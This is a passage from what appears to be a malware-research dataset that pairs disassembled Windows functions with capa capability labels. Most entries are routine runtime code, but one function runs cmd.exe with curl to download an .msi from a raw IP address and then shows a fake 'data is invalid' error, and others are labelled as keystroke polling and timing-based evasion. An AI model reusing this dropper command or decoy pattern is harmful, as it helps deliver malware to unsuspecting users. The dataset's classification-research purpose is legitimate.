joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140106948
Capabilities:
Get file size
Read file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x30
mov rbx, rcx
mov rcx, qword [rcx + 0x10]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_GetFileSize]
and dword [rbx + 0x28], 0
mov edi, 0x7d00
cmp eax, edi
mov dword [rbx + 8], eax
cmovb edi, eax
mov ecx, edi
call fcn.140109e80
mov qword [rbx], rax
test rax, rax
jne 0x14010698b
mov rcx, rbx
call fcn.140105dc0
jmp 0x1401069ab
mov rcx, qword [rbx + 0x10]
and dword [rsp + 0x40], 0
and qword [rsp + 0x20], 0
lea r9, [rsp + 0x40]
mov r8d, edi
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov edx, 1
mov rcx, rbx
call fcn.1401065d4
mov rbx, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret

Function at 0x1401069cc
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r14
sub rsp, 0x30
mov eax, 0x7d00
mov rsi, rcx
cmp dword [rcx + 8], eax
cmovb eax, dword [rcx + 8]
mov ebx, eax
shr ebx, 4
test al, 0xf
je 0x1401069f8
inc ebx
mov ecx, dword [rcx + 0x28]
cmp edx, ecx
jb 0x140106a0a
lea eax, [rcx + rbx]
cmp edx, eax
jb 0x140106ac0
xor edi, edi
cmp edx, 0x3e8
lea eax, [rdx - 0x3e8]
cmova edi, eax
cmp edi, ecx
jb 0x140106a46
lea eax, [rcx + rbx]
cmp edi, eax
jae 0x140106a42
mov eax, ecx
mov edx, edi
sub edx, ecx
sub eax, edi
xor ecx, ecx
add eax, ebx
shl edx, 4
mov ebp, eax
sub ebx, eax
lea r14d, [rax + rdi]
shl ebp, 4
jmp 0x140106a67
cmp edi, ecx
ja 0x140106a5c
lea eax, [rdi + rbx]
cmp ecx, eax
jae 0x140106a5c
mov eax, edi
sub eax, ecx
add eax, ebx
sub ebx, eax
mov ecx, ebx
shl ecx, 4
jmp 0x140106a60
xor ecx, ecx
xor eax, eax
xor edx, edx
mov r14d, edi
xor ebp, ebp
test eax, eax
je 0x140106a7d
add rdx, qword [rsi]
add rcx, qword [rsi]
shl eax, 4
mov r8d, eax
call qword [sym.imp.MSVCR120.dll_memmove]
test ebx, ebx
je 0x140106abd
mov rcx, qword [rsi + 0x10]
shl r14d, 4
xor r9d, r9d
mov edx, r14d
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov rcx, qword [rsi + 0x10]
and dword [rsp + 0x58], 0
and qword [rsp + 0x20], 0
shl ebx, 4
mov edx, ebp
add rdx, qword [rsi]
lea r9, [rsp + 0x58]
mov r8d, ebx
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov dword [rsi + 0x28], edi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x60]
add rsp, 0x30
pop r14
pop rdi
pop rsi
ret

Function at 0x14010b050
Capabilities:
Parse pe header
Terminate process

Disassembly:
mov rax, rcx
mov ecx, 0x5a4d
cmp word [rax], cx
je 0x14010b060
xor eax, eax
ret
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
xor eax, eax
cmp dword [rcx], 0x4550
jne 0x14010b07d
mov edx, 0x20b
cmp word [rcx + 0x18], dx
sete al
jmp qword [sym.imp.MSVCR120.dll_exit]
Function at 0x1401b1570
Capabilities:
Encode data using base64

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r12
sub rsp, 0x50
mov r12, r9
mov rsi, r8
mov rbx, rdx
mov rdi, rcx
test r8, r8
jne 0x1401b159d
xor al, al
jmp 0x1401b16ff
mov rax, qword [0x1401d06c0]
lea rcx, [rsp]
xor r11d, r11d
mov qword [rcx], rax
mov rax, qword [0x1401d06c8]
mov qword [rsp + 0x60], rbp
mov qword [rcx + 8], rax
mov rax, qword [0x1401d06d0]
mov rdx, r11
mov qword [rcx + 0x10], rax
mov rax, qword [0x1401d06d8]
mov qword [rcx + 0x18], rax
mov rax, qword [0x1401d06e0]
mov qword [rcx + 0x20], rax
mov rax, qword [0x1401d06e8]
mov qword [rcx + 0x28], rax
mov rax, qword [0x1401d06f0]
mov qword [rcx + 0x30], rax
mov rax, qword [0x1401d06f8]
mov qword [rcx + 0x38], rax
movzx eax, byte [0x1401d0700]
mov byte [rcx + 0x40], al
mov rax, qword [r9]
mov rcx, r8
lea rbp, [r8 + rax]
test rbx, rbx
je 0x1401b16f1
add r8, 4
nop word [rax + rax]
movzx r9d, byte [rdx + rdi]
inc rdx
shl r9d, 0x10
cmp rdx, rbx
jne 0x1401b1649
mov r11d, 2
jmp 0x1401b166d
movzx eax, byte [rdx + rdi]
inc rdx
shl eax, 8
or r9d, eax
cmp rdx, rbx
jne 0x1401b1663
mov r11d, 1
jmp 0x1401b166d
movzx eax, byte [rdx + rdi]
or r9d, eax
inc rdx
mov r10d, r9d
and r9d, 0x3f
cmp r8, rbp
ja 0x1401b1715
mov rax, r10
shr rax, 0x12
and eax, 0x3f
movzx eax, byte [rsp + rax]
mov byte [rcx], al
mov rax, r10
shr rax, 0xc
and eax, 0x3f
movzx eax, byte [rsp + rax]
mov byte [rcx + 1], al
cmp r11, 1
jbe 0x1401b16b2
mov byte [rcx + 2], 0x3d
add rcx, 3
add r8, 3
jmp 0x1401b16ca
shr r10, 6
add rcx, 3
and r10d, 0x3f
add r8, 3
movzx eax, byte [rsp + r10]
mov byte [rcx - 1], al
test r11, r11
je 0x1401b16da
mov byte [rcx], 0x3d
inc rcx
inc r8
jmp 0x1401b16e8
movzx eax, byte [rsp + r9]
inc rcx
inc r8
mov byte [rcx - 1], al
cmp rdx, rbx
jb 0x1401b1630
sub rcx, rsi
mov al, 1
mov qword [r12], rcx
mov rbp, qword [rsp + 0x60]
mov rbx, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
mov rdi, qword [rsp + 0x78]
add rsp, 0x50
pop r12
ret
xor al, al
jmp 0x1401b16fa
Function at 0x26e7013a0
Capabilities:
Create process on windows

Disassembly:
sub rsp, 0x28
xor edx, edx
lea rcx, str.c:windows_system32cmd.exe__c_curl__o_c:userspublicyl.msi_http:__135.125.177.95_syK_cxfGmJtimeout_15c:userspublicyl.msi
call qword [sym.imp.KERNEL32.dll_WinExec]
mov r9d, 0x10
lea r8, str.Error
xor ecx, ecx
lea rdx, str.The_data_is_invalid.
call qword [sym.imp.USER32.dll_MessageBoxA]
xor eax, eax
add rsp, 0x28
ret

Function at 0x26e701580
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.26e702280
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call fcn.26e702280
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop word [rax + rax]

Function at 0x26e7015f0
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rsi
push rbx
sub rsp, 0x50
movsxd rbx, dword [0x26e707064]
mov r12, rcx
test ebx, ebx
jle 0x26e701720
mov rax, qword [0x26e707068]
xor ecx, ecx
add rax, 0x18
nop word [rax + rax]
mov rdx, qword [rax]
cmp rdx, r12
ja 0x26e70163c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x26e7016c3
add ecx, 1
add rax, 0x28
cmp ecx, ebx
jne 0x26e701620
mov rcx, r12
call fcn.26e701d70
mov rsi, rax
test rax, rax
je 0x26e701742
mov rax, qword [0x26e707068]
lea rbx, [rbx + rbx*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rsi
mov dword [rax], 0
call fcn.26e701ea0
mov ecx, dword [rsi + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x26e707068]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x26e701727
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x26e7016bc
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x26e7016d0
add dword [0x26e707064], 1
add rsp, 0x50
pop rbx
pop rsi
pop r12
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 4
mov eax, 0x40
cmovne r8d, eax
add rbx, qword [0x26e707068]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x26e7016bc
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.26e701580
nop dword [rax]
xor ebx, ebx
jmp 0x26e701647
mov rax, qword [0x26e707068]
mov edx, dword [rsi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.26e701580
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call fcn.26e701580
nop
nop word cs:[rax + rax]
nop dword [rax]
Function at 0x26e7019e0
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x26e7070a0]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x26e707080]
test rbx, rbx
je 0x26e701a34
mov rdi, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [rbx]
call rdi
mov r12, rax
call rsi
test eax, eax
jne 0x26e701a2b
test r12, r12
je 0x26e701a2b
mov rax, qword [rbx + 8]
mov rcx, r12
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x26e701a10
lea rcx, [0x26e7070a0]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x26e701d70
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x26e7042a0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x26e701d90
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x26e701d98
ret
cmp word [r8 + 0x18], 0x20b
jne 0x26e701d90
movzx eax, word [r8 + 0x14]
sub rcx, rdx
movzx edx, word [r8 + 6]
lea rax, [r8 + rax + 0x18]
test edx, edx
je 0x26e701de5
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x26e701ddc
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x26e701d90
add rax, 0x28
cmp rax, r9
jne 0x26e701dc8
xor eax, eax
ret

Function at 0x26e701df0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x26e7042a0]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x26e701e10
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x26e701e18
mov eax, r8d
ret
cmp word [rax + 0x18], 0x20b
jne 0x26e701e10
movzx r8d, word [rax + 6]
mov eax, r8d
ret

Function at 0x26e701ea0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x26e7042a0]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x26e701ec0
movsxd rdx, dword [rax + 0x3c]
add rdx, rax
cmp dword [rdx], 0x4550
je 0x26e701ec8
mov rax, r8
ret
cmp word [rdx + 0x18], 0x20b
cmove r8, rax
mov rax, r8
ret
Function at 0x140002b30
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.140008ab0
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.140008ab0
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop dword [rax]

Function at 0x140002ba0
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x14000f0a4]
mov rbx, rcx
test esi, esi
jle 0x140002cd0
mov rax, qword [0x14000f0a8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x140002beb
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140002c75
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140002bd0
mov rcx, rbx
call fcn.1400035f0
mov rdi, rax
test rax, rax
je 0x140002cf2
mov rax, qword [0x14000f0a8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.140003730
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x14000f0a8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140002cd7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x140002c6e
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140002c80
add dword [0x14000f0a4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x14000f0a8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140002c6e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.140002b30
nop dword [rax]
xor esi, esi
jmp 0x140002bf8
mov rax, qword [0x14000f0a8]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.140002b30
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call fcn.140002b30
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140003260
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x14000f100]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x14000f0e0]
test rbx, rbx
je 0x1400032bc
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x1400032b3
test rsi, rsi
je 0x1400032b3
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140003298
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x1400035f0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x14000bd40]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140003610
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140003618
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140003610
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14000366d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140003664
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140003610
add rax, 0x28
cmp rax, r9
jne 0x140003650
xor eax, eax
ret

Function at 0x140003670
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14000bd40]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14000368f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140003698
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14000368f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x140003730
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14000bd40]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14000374f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140003758
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret
Function at 0x180006df0
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
mov eax, 0xffffffff
test edx, edx
je 0x180006e2e
mov r9d, edx
lea r10, [0x180137000]
nop dword [rax]
nop word [rax + rax]
movzx r8d, word [rcx]
lea rcx, [rcx + 2]
mov edx, eax
shr eax, 8
xor r8, rdx
movzx edx, r8b
xor eax, dword [r10 + rdx*4]
sub r9, 1
jne 0x180006e10
not eax
ret
Function at 0x180014520
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
test rcx, rcx
je 0x180014580
mov r8, qword [rcx]
test r8, r8
je 0x180014580
mov r8, qword [r8 + 0x10]
mov eax, 0xffffffff
mov rcx, 0xffffffffffffffff
nop dword [rax]
inc rcx
cmp byte [r8 + rcx], 0
jne 0x180014540
test ecx, ecx
je 0x18001457d
mov r9d, ecx
lea r10, [0x180137000]
nop dword [rax + rax]
movsx edx, byte [r8]
lea r8, [r8 + 1]
mov ecx, eax
shr eax, 8
xor rdx, rcx
movzx ecx, dl
xor eax, dword [r10 + rcx*4]
sub r9, 1
jne 0x180014560
not eax
ret
xor eax, eax
ret

Function at 0x180015370
Capabilities:
Hash data with crc32

Disassembly:
sub rsp, 0x18
test rcx, rcx
jne 0x18001537d
xor eax, eax
jmp 0x1800153f6
mov r9, qword [rcx]
test r9, r9
jne 0x180015389
xor eax, eax
jmp 0x1800153f6
mov r9, qword [r9 + 0x10]
test r9, r9
jne 0x180015396
xor eax, eax
jmp 0x1800153f6
mov r10, r9
mov qword [rsp + 8], r9
xor edx, edx
mov r8d, 0xffffffff
lea r11, [0x180137000]
mov dword [rsp], edx
mov ecx, r8d
mov rax, 0xffffffffffffffff
nop word [rax + rax]
inc rax
cmp byte [r9 + rax], 0
jne 0x1800153c0
cmp edx, eax
jae 0x1800153ec
movsx eax, byte [r10]
xor rax, rcx
movzx ecx, al
shr r8d, 8
xor r8d, dword [r11 + rcx*4]
inc r10
mov qword [rsp + 8], r10
inc edx
jmp 0x1800153ad
not r8d
mov eax, r8d
jmp 0x1800153f6
add rsp, 0x18
ret

Function at 0x1800156f0
Capabilities:
Log keystrokes via polling

Disassembly:
push rbx
sub rsp, 0x20
cmp byte [0x1801ebeb7], 0
mov rbx, rcx
je 0x180015761
mov ecx, dword [0x1801ebfb8]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
je 0x180015761
cmp dword [0x1801ebec8], 1
jne 0x180015761
lea rcx, [rbx + 0xa8]
cmp rcx, 0x40000
jbe 0x180015761
lea rax, [rcx + 8]
movabs rdx, 0x7fffffff0000
cmp rax, rdx
jae 0x180015761
mov rcx, qword [rcx]
add rcx, 0x1fc
cmp rcx, 0x40000
jbe 0x180015761
lea rax, [rcx + 4]
cmp rax, rdx
jae 0x180015761
mov dword [rcx], 0x3c23d70a
add rsp, 0x20
pop rbx
ret
Function at 0x18001d8d0
Capabilities:
Check for time delay via queryperformancecounter

Disassembly:
sub rsp, 0x28
cmp byte [0x1801ebfdd], 0
jne 0x18001d930
lea rcx, [rsp + 0x30]
mov byte [0x1801ebfdd], 1
mov qword [rsp + 0x30], 0
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
lea rcx, [rsp + 0x38]
mov qword [rsp + 0x38], 0
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
xorps xmm0, xmm0
xorps xmm1, xmm1
cvtsi2ss xmm0, qword [rsp + 0x38]
cvtsi2ss xmm1, qword [rsp + 0x30]
movss dword [0x1801ebff0], xmm0
movss dword [0x1801ec078], xmm1
lea rcx, [rsp + 0x30]
mov qword [rsp + 0x30], 0
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
xorps xmm0, xmm0
cvtsi2ss xmm0, qword [rsp + 0x30]
subss xmm0, dword [0x1801ec078]
divss xmm0, dword [0x1801ebff0]
add rsp, 0x28
ret
Function at 0x18001f560
Capabilities:
Log keystrokes via polling

Disassembly:
push rbx
sub rsp, 0x70
call fcn.180016520
mov rcx, rax
call fcn.180016390
mov rbx, rax
test rax, rax
je 0x18001f778
lea rdx, [rsp + 0x20]
mov rcx, rax
call fcn.180015540
cmp dword [rsp + 0x20], 0
je 0x18001f778
mov eax, dword [rsp + 0x60]
test eax, eax
je 0x18001f778
cmp eax, 0xfffffffe
jne 0x18001f63c
mov rcx, rbx
call fcn.180015770
cmp byte [0x1801ebea3], 0
je 0x18001f778
add rbx, 0xa8
cmp rbx, 0x40000
jbe 0x18001f778
lea rax, [rbx + 8]
movabs rcx, 0x7fffffff0000
cmp rax, rcx
jae 0x18001f778
mov rdx, qword [rbx]
mov r8, rdx
lea r9, [rdx + 0x3a0]
cmp r9, 0x40000
jbe 0x18001f60f
lea rax, [r9 + 1]
cmp rax, rcx
jae 0x18001f60f
mov byte [r9], 1
lea rdx, [r8 + 0x3a4]
cmp rdx, 0x40000
jbe 0x18001f778
lea rax, [rdx + 4]
cmp rax, rcx
jae 0x18001f778
mov dword [rdx], 0x3f800000
add rsp, 0x70
pop rbx
ret
cmp eax, 3
jne 0x18001f6a4
mov rcx, rbx
call fcn.180015770
cmp byte [0x1801ebea6], 0
je 0x18001f697
lea rdx, [rbx + 0xa8]
cmp rdx, 0x40000
jbe 0x18001f697
lea rax, [rdx + 8]
movabs rcx, 0x7fffffff0000
cmp rax, rcx
jae 0x18001f697
mov rdx, qword [rdx]
add rdx, 0x1fc
cmp rdx, 0x40000
jbe 0x18001f697
lea rax, [rdx + 4]
cmp rax, rcx
jae 0x18001f697
mov dword [rdx], 0x3c23d70a
mov rcx, rbx
add rsp, 0x70
pop rbx
jmp fcn.1800156f0
cmp eax, 2
jne 0x18001f6fd
mov rcx, rbx
call fcn.180015770
mov rcx, rbx
call fcn.1800156f0
cmp byte [0x1801ebea1], 0
je 0x18001f778
add rbx, 0xa8
cmp rbx, 0x40000
jbe 0x18001f778
lea rax, [rbx + 8]
movabs rcx, 0x7fffffff0000
cmp rax, rcx
jae 0x18001f778
mov rdx, qword [rbx]
add rdx, 0x290
jmp 0x18001f763
cmp eax, 0xffffffff
jne 0x18001f778
mov rcx, rbx
call fcn.180015770
cmp byte [0x1801ebeb0], 0
je 0x18001f778
add rbx, 0xa8
cmp rbx, 0x40000
jbe 0x18001f778
lea rax, [rbx + 8]
movabs rcx, 0x7fffffff0000
cmp rax, rcx
jae 0x18001f778
mov rdx, qword [rbx]
mov r8, rdx
lea r9, [rdx + 0x3a0]
cmp r9, 0x40000
jbe 0x18001f75c
lea rax, [r9 + 4]
cmp rax, rcx
jae 0x18001f75c
mov dword [r9], 0x3f800000
lea rdx, [r8 + 0x3b0]
cmp rdx, 0x40000
jbe 0x18001f778
lea rax, [rdx + 1]
cmp rax, rcx
jae 0x18001f778
mov byte [rdx], 1
add rsp, 0x70
pop rbx
ret
Function at 0x180022d60
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov edi, r8d
mov rsi, rdx
mov rbp, rcx
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
je 0x180022dd8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rbx, rax
test rax, rax
je 0x180022dd8
mov rdx, rsi
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, eax
add rcx, rbx
and edi, 0xf
jbe 0x180022dc5
nop
cmp rbx, rcx
jae 0x180022dd8
movzx eax, word [rbx]
lea rbx, [rbx + rax*2]
add rbx, 2
add edi, 0xffffffff
jne 0x180022db0
cmp rbx, rcx
jae 0x180022dd8
xor eax, eax
cmp word [rbx], ax
cmove rbx, rax
mov rax, rbx
jmp 0x180022dda
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x18006acd0
Capabilities:
Create thread

Disassembly:
sub rsp, 0x38
cmp edx, 1
je 0x18006ace0
xor al, al
add rsp, 0x38
ret
xor eax, eax
lea r8, [0x18006acb0]
mov r9, rcx
mov qword [rsp + 0x28], rax
xor edx, edx
mov dword [rsp + 0x20], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
test rax, rax
je 0x18006ad0d
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
add rsp, 0x38
ret

Function at 0x180070b70
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
mov r11d, r8d
mov r10, rdx
not r11d
mov r9, rcx
mov eax, r11d
test rdx, rdx
je 0x180070bcd
lea rbx, [0x180137b50]
movzx r8d, byte [r9]
lea r9, [r9 + 1]
dec r10
cmp r8b, 0x23
jne 0x180070bb4
cmp r10, 2
jb 0x180070bb4
cmp byte [r9], r8b
jne 0x180070bb4
cmp byte [r9 + 1], r8b
cmove eax, r11d
movzx edx, al
xor rdx, r8
shr eax, 8
xor eax, dword [rbx + rdx*4]
test r10, r10
jne 0x180070b90
not eax
mov rbx, qword [rsp + 8]
ret
movzx r8d, byte [rcx]
inc r9
test r8b, r8b
je 0x180070c0f
lea rbx, [0x180137b50]
cmp r8b, 0x23
jne 0x180070bf3
cmp byte [r9], r8b
jne 0x180070bf3
cmp byte [r9 + 1], r8b
cmove eax, r11d
movzx edx, al
movzx ecx, r8b
movzx r8d, byte [r9]
xor rdx, rcx
shr eax, 8
inc r9
xor eax, dword [rbx + rdx*4]
test r8b, r8b
jne 0x180070be0
mov rbx, qword [rsp + 8]
not eax
ret

Function at 0x180070d50
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
push r14
sub rsp, 0x20
mov r14, r8
test r8, r8
je 0x180070d6a
mov qword [r8], 0
lea rdx, [0x18013da74]
call fcn.180070c20
mov rbx, rax
test rax, rax
jne 0x180070d8a
mov rbx, qword [rsp + 0x40]
add rsp, 0x20
pop r14
ret
mov qword [rsp + 0x30], rsi
mov rcx, rbx
mov qword [rsp + 0x38], rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
mov esi, eax
cmp eax, 0xffffffff
je 0x180070e61
xor edx, edx
mov rcx, rbx
lea r8d, [rdx + 2]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
test eax, eax
jne 0x180070e61
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
movsxd rdi, eax
cmp edi, 0xffffffff
je 0x180070e61
xor r8d, r8d
mov edx, esi
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
test eax, eax
jne 0x180070e61
cmp rdi, 0xffffffffffffffff
je 0x180070e61
mov rax, qword [0x1801ec0d8]
test rax, rax
je 0x180070dfe
inc dword [rax + 0xf4]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rsi, rax
test rax, rax
je 0x180070e61
mov r9, rbx
mov r8, rdi
mov edx, 1
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov rcx, rbx
cmp rax, rdi
je 0x180070e4e
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rax, qword [0x1801ec0d8]
test rax, rax
je 0x180070e43
dec dword [rax + 0xf4]
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
jmp 0x180070e6a
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
test r14, r14
je 0x180070e5c
mov qword [r14], rdi
mov rax, rsi
jmp 0x180070e6c
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
xor eax, eax
mov rsi, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x40]
